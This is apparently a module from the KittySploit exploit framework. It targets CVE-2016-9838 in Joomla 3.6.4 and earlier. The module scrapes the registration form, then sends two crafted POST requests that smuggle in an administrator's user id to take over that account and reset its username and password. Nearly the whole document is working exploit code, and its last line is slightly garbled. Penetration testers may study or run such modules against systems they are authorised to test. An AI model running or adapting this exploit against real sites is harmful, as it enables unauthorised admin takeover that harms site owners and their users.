Joomla <= 3.6.4 admin takeover
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from bs4 import BeautifulSoup
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'Joomla <= 3.6.4 admin takeover',
'description': "An issue was discovered in components/com_users/models/registration.php in Joomla! before 3.6.5."\
"Incorrect filtering of registration form data stored to the session on a validation error enables a"\
"user to gain access to a registered user's account and reset the user's group mappings, username,"\
"and password, as demonstrated by submitting a form that targets the `registration.register` task.",
'author': 'KittySploit Team',
'cve': '2016-9838',
}
admin_id = OptInteger(384, "admin id", True)
new_password = OptString("pwned", "new password", True)
def run(self):
form_url = '/index.php/component/users/?view=registration'
action_url = '/index.php/component/users/?task=registration.register'
username = f'user{self.random_number(8)}'
email = self.random_text(10) + '@yopmail.com'
password = self.random_text(10)
user_data = {
'name': username,
'username': username,
'password1': password,
'password2': password + 'XXXinvalid',
'email1': email,
'email2': email,
'id': '%d' % self.admin_id
}
response = self.http_request(
method = "GET",
path=form_url,
session=True)
if not response:
fail.NotVulnerable()
return False
try:
soup = BeautifulSoup(response.text, 'lxml')
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
except:
print_error("Failed to parse form data")
fail.NotVulnerable()
return False
response = self.http_request(
method = "POST",
path=action_url,
data=data,
session=True)
if not response:
fail.NotVulnerable()
return False
data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = self.http_request(
method = "POST",
path=action_url,
data=data,
session=True)
if not response:
fail.NotVulnerable()
print_status(f"Account modified to user: {username}")
print_status(f"Account email: {email}")
Vulnerable.SUCCESS()
return TrueData
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